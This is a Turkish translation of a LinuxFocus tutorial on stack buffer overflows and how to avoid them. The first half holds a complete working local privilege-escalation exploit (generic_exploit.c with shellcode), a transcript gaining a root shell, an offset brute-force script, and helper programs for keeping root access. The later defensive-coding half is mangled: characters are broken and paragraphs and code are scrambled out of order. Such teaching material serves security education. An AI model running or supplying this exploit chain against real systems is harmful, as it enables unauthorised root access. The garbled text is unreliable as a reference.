|
|
Bu makalenin farkl� dillerde bulundu�u adresler: English Castellano Deutsch Francais Nederlands Portugues Russian Turkce |
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakk�nda: Christophe Blaess ba��ms�z bir havac�l�k m�hendisi.O bir Linux merakl�s� ve bir�ok i�ini bu sistem yard�m�yla yap�yor.Linux D�k�mantasyon Projesi taraf�ndan yay�nlanan ki�isel sayfalar�n �evirisinin organizasyonunu yap�yor. Chritophe Grenier ESIEA'da be� y�ld�r ��renci ve ayn� zamanda burada sistem y�neticisi olarak �al���yor.Bilgisayar g�venli�ine kar�� bir tutkusu var. Frédéric Raynal bir�ok senedir Linux kullan�yorlar ��nk� o kirletmiyor, hormonlar� kullanm�yor, ne GMO ne de hayvansal ya�...sadece ter ve oyunlar. ��erik: |
�zet:
Bu yaz� "buffer overflows" giri� yaz�lar�n�n sonuncusu. G�velik a��klar� ve s�ras�nda bunlar�n nas�l olu�tu�u anlat�l�yor.
Bir �nceki makalemizde,kabuk �al��t�rabilen ve herhangi bir hata an�nda sistemden ��k�� yapabilen 50 byte l�k k���k bir program yazd�k.�imdi bu kodu program� �al��t�rmak istedi�imiz yere yerle�tirece�iz.Bu kodda,fonksiyonun geri d�n�� adresi ile i�lem s�ras�nda otomatik de�i�ken ta�mas�na sebep olan bizim kabuk adresimiz yerde�i�tirildi.
�rne�in,a�a��daki programda ilk arguman olarak verilen a��klama sat�r�ndaki katar�,
500 byte l�k belle�e kopyalad�k.Bu kopya, yerle�tirilen bellek alan� kontrol edilmeden yap�ld�.
Daha sonra da g�rece�imiz gibi strncpy()
fonksiyonu bu problemden kurtulmam�z�
sa�layacak.
/* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); }
buffer
otomatik bir de�i�kendir,bo�luk 500  sat�r� ile olu�turulmu�tur;
main()
fonksiyonunu girer girmez bellekteki yer korunacakt�r.
vulnerable
program�n� 500 karakterden fazla olmayan karakterlerle
�al��t�rd���m�zda,bellekte veri ta�mas� olacak ve i�lemde bir m�cadele ya�anacakt�r.
�nceden de g�rd���m�z gibi, bu ta�ma, (aka return address)' i �al��t�racak bir
sonraki bilginin adresini tutacakt�r.
Bu g�venlik �ukurunu �nlemek i�in �al��t�rmak istedi�imiz kabuk kodu adresi ile fonksiyon
adresini yerde�i�tirmek yeterli olacakt�r.Bu kabuk kodu haf�zada kendisinden sonra adresi
gelecek �ekilde ana belle�e yerle�tirilir.
Kabuk kodunun haf�zadaki adresini elde etmek olduk�a zordur.Kabuk kodu adresi ile ta�may�
tutan %esp
kayd� aras�ndaki ge�i�i ara�t�rmak gerekir.Biraz g�venli�i sa�lamak i�in
bellekteki alan�n ba�lang�c�, NOP
bilgi toplulu�u ile doldurulmal�d�r; bu,bir
byte'l�k, hi�bir yerde bir etkisi olmayan tarafs�z bilgidir.B�ylece,kabuk kodunun
do�ru ba�lang�c�ndan �nce ba�lang�� adresi i�aret edilecektir.Daha fazla �ansa sahip olmak i�in
kabuk kodunu sonuna kadar tekrar eden ve NOP
blo�u ile olu�turulan ba�lang�� adresi
izleyecek �ekilde, belle�in ortas�na yerle�tiririz. �ekil 1,belle�in
yarat�l�m�n� g�sterecektir.
Bununla birlikte,ba�ka de�i�ken atama ile ilgili ba�ka bir problem daha vard�r.
�e�itli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir.
Bu,do�ru atamay� bulana kadar deneme yaparak ��z�lebilir.4 byte l�k i�lemciler kullan�lmaya
ba�land���ndan beri,atamalar 0,1,2 veya 3 byte l�k olabilmektedirler. ( makale 183 e bak�n.).
�ekil 2, de gri b�l�mler 4 byte'l�k k�s�mlar� g�stermektedir.
�lk durumda,gerid�n�� adresi tekrar yaz�ld���nda sadece biri �al��acakt�r.
Di�erleri, segmentation violation
veya illegal instruction
hatalar�n�
verecektir.Bu deneysel yol,bu �e�it bir testi uygulamam�za olanak veren bug�n�n
bilgisayarlar�n�n ��kt��� zamandan beri en iyiyi bulan yoldur.
�imdi,haf�zada ta�man�n oldu�u yere g�ndermekle zarar g�rebilen bir program yazaca��z. Bu program,kabuk kodunu haf�zaya yerle�tiren ve �al��acak program� se�en �e�itli se�eneklere sahiptir.Bu versiyonu ,Aleph One'�n EM>phrack 49 say�l� makalesinden esinlenilerek Christophe Grenier '�n g�rsely�resinden al�nm��t�r.
Uygulama alan�na haz�r bellek alan�m�z� nas�l g�nderece�iz?
Genellikle,vulnerable.c
veya �evre de�i�kendeki gibi komut sat�r� parametresi
kullanabilirsiniz.
Ta�ma,kullan�c� taraf�ndan yaz�lan,�al��mas� zor, veya dosyadan okumas� zor, sat�rlar ile
olu�acakt�r.
generic_exploit.c
program�,do�ru boyuttaki bellek alan�n� ay�rmak ile ba�lar,
sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda a��klanan NOP kodlar� ile
doldurur.
Daha sonra arguman dizisi haz�rlar ve execve()
bilgisini kullanarak etiket
uygulamas�n� �al��t�r�r,daha �nce �a�r�lm�� ile yerde�i�tirme i�lemi son yerde�i�tirmedir.
generic_exploit
parametleri �nlem i�in (adresi geri �a��rmak i�in biraz daha fazla
bellek alan�) olu�turulan bellek alanlar�,haf�za ge�i�i ve atamad�r.�unu belirtmeliyiz ki
bellek alan� hem �evre de�i�kenden(var
) hem de a��klama sat�r�ndan
(novar
) ge�mektedir.
force/noforce
arguman�,kabuk kodundan setuid()/setgid()
fonksiyonuna
�a�r�l�ma izin verir(veya vermez).
/* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n",argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } }
vulnerable.c
dan fayda sa�lamak i�in,uygulama taraf�ndan belirlenmi�
bellek alan�ndan daha fazlas�n� elde etmeliyiz.�rne�in 500 byte yerine 600 byte'� tercih
etmeliyiz.Ta�man�n oldu�u yeri saptamak i�in ba�ar�l� testler yap�l�r.addr = get_sp() +
offset;
bilgisi ile yap�lanan adres,adres geri �a�r�m�n�n tekrar yaz�lmas�n� sa�lar,
tabi bunun i�in biraz �ansa gereksinimi vard�r...!
Bu i�lem %esp
kayd�n�n varolan i�lem s�ras�nda fazla hareket etmeyece�ini ve
program sonuna birinin �a�r�laca��n� destekler.
Pratik olarak,hi�bir�ey kesin de�ildir: �e�itli olaylar hesaplaman�n yap�ld��� zamandan
bellekte ta�man�n oldu�u zamana de�i�tirilebilir.
Burada,-1900 byte l�k eksiltme ile ta�may� engellemeyi ba�ard�k.Elbette ,bu deneyimi
tamamlamak i�in, vulnerable
etiketi Set-UID root olmal�d�r.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit�lk olarak,(
noforce
) bizim uid
de�i�mez.Bunun yan�nda
bize olnaklar sa�layan yeni euid
e sahibiz.
B�ylece, /etc/passwd
dosyas�n� vi
edit�r� ile yazarken,
dosya sadece okunabilir olsa bile t�m de�i�iklikler �al��acakt�r: w!
yazarak
bunu hen�z sa�layabilirsiniz:)
force
parametresi sistemin ba�lamas�ndan uid=euid=0
a izin
verecektir.
K���k bir kabuk program� kullanmak,ta�maya sebep olan ge�i� de�erlerini otomatik olarak bulmay� kolayla�t�r�r.
#! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) doneBu ba�ar�,potansiyel atama problemlerinin ��z�m�ne bizi g�t�rmez.Daha sonra,sizin i�in ayn� de�erler ile bu �rne�i �al��t�rmak veya sadece atamadan dolay� �al��mamas� m�mk�n olur.(B�t�n bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0) de�i�tirilmelidir. Baz� sistemler haf�za alan�na yazmay� kabul etmez,fakat bu Linux'da ge�erli de�ildir.)
Maalesef,bazen olu�turulmu� kabuk kendi i�inde sonlanana kadar veya a�k� tu�a basana kadar kullan�lamaz.Bunun anlam� baz� kolayl�klara zor ula��labildi�idir.
/* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; }
Bu i�in �stesinden gelebildi�imiz zamandan beri, run_shell
program�,
set_run_shell
program�n�n yard�m� ile kolayl�klar� elde edebiliriz.
Daha sonra bir kabu�a gereksinimimiz olacakt�r.
/* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); }
-i
se�ene�i interactive
'e uyumludur.Peki neden
kolayl�klar� direk kabu�a aktarmayal�m? ��nk� s
bit'i her kabuk
i�in elveri�li de�ildir.Son s�r�mleri, "uid" in "euid" ile e�it oldu�unu
g�stermektedir. "gid" ile "egid" i�in de ayn� �ey s�zkonusudur.
B�ylece,bash2
ve tcsh
koruma sat�r�n� kapsamaktad�rlar.
fakat ne bash
ne de ash
bu sat�r� kapsamamaktad�rlar.
Bu y�ntem,run_shell
'nin bulundu�u (burada, /tmp
) ve
nosuid
veya noexec
'e ili�iklendi�i yerde
b�l�mleme oldu�u zaman tasfiye edilmelidir.
Bir ta�man�n oldu�u Set-UID program�na kaynak kodu ile birlikte sahip oldu�umuzdan beri, dosya sahibinin ID si alt�nda keyfi kod �al��t�r�lmas�na kar�� bir tepki haz�rlayabildik. Bununla birlikte, ilk gol�m�z g�venlik �ukurlar�n� �nlemekti.Sonra haf�zadaki ta�malar� �nlemek i�in birtak�m kurallar� inceledik.
�lk kural,iyi bir izlenim uyand�r�yor: indexler dikkatli bir �ekilde taranmas� gereken dizileri i�lemek i�in kullan�l�yor."clumsy" d�ng�s� :
for (i = 0; i <= n; i ++) { table [i] = ...bir ihtimalle hata i�eriyor.Hatan�n sebebi
<
n�n yerine
<=
i�aretinin kullan�lmas�d�r.B�yle bir d�ng�y� taramak kolay olsayd�,
s�f�r�n alt�na inmeden indexleri azaltmak bu d�ng� ile �ok zor olacakt�.
for(i=0; i<n ; i++)
s�f�r durumdan ayr� olarak,algoritman�n kullan�ld���
farkl� zamanlar� �zellikle d�ng�n�n ba�lad��� yerleri kontrol etmek zorunday�z.
(Hatta birine sizin i�in bu denetimi yapabilir mi diye sorun)
Ayn� �e�it problem karakter dizileri(katarlar) da bulundu : son null karakter i�in bir byte daha eklemeyi d���nmek zorundas�n�z.Bunu unutamak ,en s�k kar��la��lan hatalardan biridir ve de�i�ken atamalar�ndan dolay� gizli kald��� i�in hatay� bulmak da zordur.
Dizi indexleri eksik hesaplanmamal�d�r.G�rd�k ki bir byte l�k ta�ma g�venlik �ukuru yaratmaya yeterlidir (Phrack konu 55'e bak�n), �evre de�i�kene kabuk kodu yerle�tirmek, �rne�in,
#define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... }
strcpy(3)
fonksiyonu,hedef katar�
null byte'� i�eren orjinal katara kopayalar.Baz� durumlarda , bu davran�� tehlike yarat�r;
a�a��daki kodun g�venlik �ukuru olu�turdu�unu g�rd�k:
#define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... }Bu tip bir problemden ka��nmak i�in s�n�rl� uzunlu�a sahip fonksiyonlar vard�r. Bu fonksiyonlar�n,adlar�n�n ortalar�nda `
n
' yazar.�rne�in,
strcpy(3)
yerine strncpy(3)
fonksiyonu,
strcat(3)
yerine strncat(3)
fonksiyonu,
hatta strlen(3)
yerine strlen(3)
fonksiyonu.
Bununla birlikte,
A��k�as�,kopyalamak i�in byte say�s�n� kontrol edince bunun pek �nemi kalmaz.
B�yle bir BIND(Berkeley Internet Name Daemon)'daki b�yle bir bo�luk sisteme zarar veren
insanlar� me�gul edecektir:
Her�eyden �nce,bu,karakter dizisinin yazma y�ntemleri ile ilgilidir.Yani,
C++ � kullanarak
Okunana veri iki basama�a sahiptir.
�lk a�ama,karakter dizinin haf�za alan�n�n�n boyutunu s�n�rlayan
Do�rudan veri yaz�l�m�n�n sadece sald�rgan giri� noktalar� olmaz.Yaz�l�m veri dosyalar�
zedelenebilir,fakat onlara okumalar� i�in yaz�lan kod yazmalar� i�in yaz�lan koddan genellikle
daha g��l�d�r.Programc�lar,sezgisel olarak,i�eri�i kullan�c� taraf�ndan korunan
dosyalara g�ven duymazlar.
Bellek alan�ndaki ta�malar genellikle ��yle bir �eye dayanmaktad�r:�evresel karakter dizileri.
Bir programc�n�n,ba�lamadan �nce �evresel i�lemi d�zenldi�ini unutmamal�y�z.Al�nan kararlara
g�re,�evresel karakter dizisi "
B�yle filtreler, bir bilgisayar �retiliyormu� gibi yap�l�r: her�eyi yasaklamak ilk kurald�r!
Sonra baz� �eylere izin verilir:
Bellek alan�ndaki ta�malar, tekrar yazmay� i�eren k�sma(ta�man�n oldu�u k�s�m) g�venir
sanki fonksiyonun adresini geri g�nderiyormu� gibi.Etki otomatik veri ile ilgilidir,sadece
o k�sm�n i�inde tahsis edilmi�tir.Bu problemi kald�rman�n bir yolu,o k�s�mda sa�lanan
karakter tablolar�n� heap'de bulunan dinamik de�i�kenler ile yerde�i�tirmektir.
Bunu yapmak i�in,s�ras� ile �unlar� yerde�i�tirmek gerekir:
Son olarak,baz� durumlarda,g�venlik �ukurunu ba�tan kolayca defetmek,haf�za bildiriminden
�nce
2001-08-03, generated by lfparser version 2.17strncpy(3)
s�n�rlamas� ile dikkatli olmal�s�n�z.Farkl� etkiler
yaratabilir: kaynak katar� hedeflenenden az olunca, n s�n�r�na kadar null karakterler
ile tamamlanacakt�r.Bu da yeterli performans� sa�lamaz.Bunun yan�nda,e�er fazla olursa,null
karakter ile sonlanmayacakt�r,siwcscpy(3)
yerine wcsncpy(3)
� tercih etmek
veya wcscat(3)
yerine wcsncat(3)
'� tercih ederek b�y�k karakterleri
kullanma y�ntemine uygulanabilir.B�yelce program daha da b�y�yecek fakat
g�venlik olacakt�r.
strcpy()
gibi strcat(3)
da haf�za boyutunu kontrol etmez.
strncat(3)
fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir
karakter ekler.strcat(buffer1, buffer2);
�
strncat(buffer1, buffer2, sizeof(buffer1)-1);
ile yerde�i�tirmek,riski
azaltmak i�in yeterlidir.
sprintf()
fonksiyonu formatlanm�� veriyi diziye kopyalamaya izin verir.
Bu fonksiyon,karakter numaralar�n� hedef katara( "\0" karakterini saymadan) g�nderir.
G�nderdi�i de�erleri test etmek,katara,de�erlerin do�ru eklenip eklenmedi�ini bilmemizi
sa�lar:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
struct hosten *hp;
unsigned long address;
...
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yan�nda,e�er
hp->h_length
'i de�i�tirebilecekseniz,alan� belirleyebileceksinizdir.
Fakat kopayalamadan �nce veri uzunlu�unu kontrol etmek zorunludur:
struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Baz� durumlarda bu yolun(isim,URL,kaynak yolu) geri kalan�n� atmak,ve programda,veri
yaz�l�r yaz�lmaz erken yap�lmal�d�rlar.
Veriyi �ki Ad�mda Olu�turmak
Programda di�er kullan�c�ya g�re �zellikli olarak �al��mak i�in kendini koruma davran���,gelen
t�m ��pheli verileri incelemekte etkilidir.
gets(char *chaine)
'unu karakter katar�n�n uzunlu�u
kontrol edilmeden asla kullanmamal�s�n�z(Yazar notu: bu y�ntem,ili�iklendirilen
edit�r taraf�ndan yasaklanmal�d�r).
Daha tehlikeli riskler scanf()
'de gizlenmi�tir.
scanf ("%s", string)
sat�r�,�rne�in gets(char *chaine)
kadar tehlikeli fakat �ok a��k de�ildir.
Bununla birlikte ,scanf()
ailesinden fonksiyonlar veri boyutunun kontrol�n�
tercih ederler:
char buffer[256];
scanf("%255s", buffer);
Bu y�ntemde, buffer
'a kopyalanan karakter say�s�, 255 ile s�n�rl�d�r.
Di�er bir tarafdan,scanf()
in karakterleri yerle�tirmesi geldi�i yere
geri g�ndermesi anlam�na gelmemektedir,(�rne�in,bir �ekil i�in bekleyen bir karakter),
program hatalar�n�n yaratt��� kitleme riskleri olduk�a b�y�kt�r.
cin
ak��� C de kullan�lan (hatta hala kulan�l�yor)
klasik fonksiyonlar ile yerde�i�tirir.A�a��daki program haf�zay� doldurur:
char buffer[500];
cin>>buffer;
Sizin de g�rd���n�z gibi,test edilmemi�tir! gets(char *chaine)
de oldu�u
durumun ayn�s�,C'yi kullan�rken : kap� olduk�a a��k.ios::width()
'in �yesi olan
fonksiyon,karakterleri, okunmas� i�in en �st say� ile e�le�tirir.
fgets(char *chaine, int taille, FILE stream)
ile
olmas� konusunda �srar etmektedir.Sonra okunan veri silinir,�rne�in sscanf()
ile.
�lk a�ama bundan daha fazlas�n� da yapabilir,�rne�in;fgets(char *chaine, int
taille, FILE stream)
i,istenilen haf�zay�,keyfi s�n�r koymadan otomatik olarak
sa�layan d�ng�n�n i�ine yerle�tirmektedir. GNU uzant�s� getline()
bunu sizin
i�in yapabilir.isalnum()
, isprint()
, vb. leri kullanarak yaz�lmas�
onaylanan karakterleri i�ermesi de m�mk�nd�r.strspn()
fonksiyonu etkili bir
s�zmeye m�sade eder.Program biraz daha yava� olur,fakat b�ylece kodun duyarl� b�l�mleri
tehlikeli veriye kar�� kur�un ge�irmez bir yelek ile korunur.
NAME=VALUE
" yaz�l�m�n�n bir par�as� olmal� ve
k�t� ama�l� kullan�c�lar�n �n�nde kullan��s�z olmal�.
getenv()
y�ntemini kullanmak dikkat gerektirir.�zellikle bu bir karakter
dizisinin uzunlu�unu(olduk�a uzun) ve i�eri�ini (`=
' i�eri�inde herhangi
bir karakter bulabilirsinz) geri d�nd�r�yorsa.getenv()
taraf�ndan geri
d�nd�r�len karakter dizisi, uzunlu�u ve bir karakterin arkas�ndan di�erinin
geldi�ini dikkate alarak fgets(char *chaine, int taille, FILE stream)
taraf�ndan �retilenlerden biri gibi yarat�lacakt�r.
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
strspn()
fonksiyonu bunu kolayla�t�r�r: ilk karakter gibi g�r�n�r,�zel bir bo�lu�a
sahip bir karakter gibi de�il.Sadece ger�e karakterleri tutarak karakter dizisi uzunlu�unu
geri g�nderir(0 dan ba�layarak).Yasaklana karakterlerin belirtildi�inden ve hi�birinin yaz�da
bulunmad��� kontrol edildi�inden beri strcspn
fonksiyonun kar�� bir fonksiyon
oldu�unu unutmamak gerekir.
D�namik Bellek Alan� Kullan�m�
#define LG_STRING 128
int fonction (...)
{
char chaine [LG_STRING];
...
return (result);
}
with :
#define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
Bu sat�rlar, kodu fazla �retir ve haf�za s�z�nt�lar� meydana getirir,fakat,yakla��m� azaltmak
ve s�n�r uzunluk d�erlerini zorlamay� engellemek i�in bu de�i�ikliklerin avantaj�na
sahip olmal�y�z.alloca()
fonksiyonu ile daha kolay bir yol kullanmak ile
ayn� sonucu vermeyece�ini d���n�n.Bu,ta�man�n oldu�u yerde son olarak bir veri tahsis edecektir
ve otomatik de�i�kenlerdeki gibi ayn� problemi do�uracakt�r.memset()
ile haf�zay�
0' almak, ba�a al�nmam�� de�i�kenler de��kenlerin kullan�m� ile ilgili baz� problemlerden
sak�nmaya izin verecektir.B�t�n bunlar,konuyu "Heap overflows from w00w00" konulu makaleye
ta��yacakt�r.
static
a�k� s�zc���n� yerle�tirmek ile m�mk�nd�r.Bu,i�lem y���n�ndan
uzak veri b�l�m�nde sa�lanmu�t�r.Kabu�a sahip olmak imkans�zd�r fakat DoS problemi
hala mevcuttur.Tabii ki,y�ntem tekrarlan�rsa bu �al��maz.Bu "ila�",fazla kod de�i�tirmeye gerek
kalmadan acil gereksinim durumunda g�venlik �ukuruna ge�ici bir ��z�m olmal�d�r.
Sonu�
Umar�z,bellekte ta�man�n bu anlat�m�,sizin daha g�venli programlar yazman�z� sa�layacakt�r.Ta�ma
tekni�i mekanizmay� iyi anlamay� gerektiriyorsa,genel prensip ba�ar�labilir.Di�er yandan,
gerekenleri yerine getirmek zor de�ildir.Unutmay�n�z ki,daha sonra kabul edilir bir zamanda
g�venlik program� yazmak daha h�zl� olacakt�r.Buna, format bugs konulu bir sonraki
makalemizde de�inece�iz.
�li�iklendirmeler
Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz
Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
talkback page
G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org
Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz
�eviri bilgisi:
fr
->
--
Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr
->
en
Georges Tarbouriech
en
->
tr
Nur Mumcuo�lu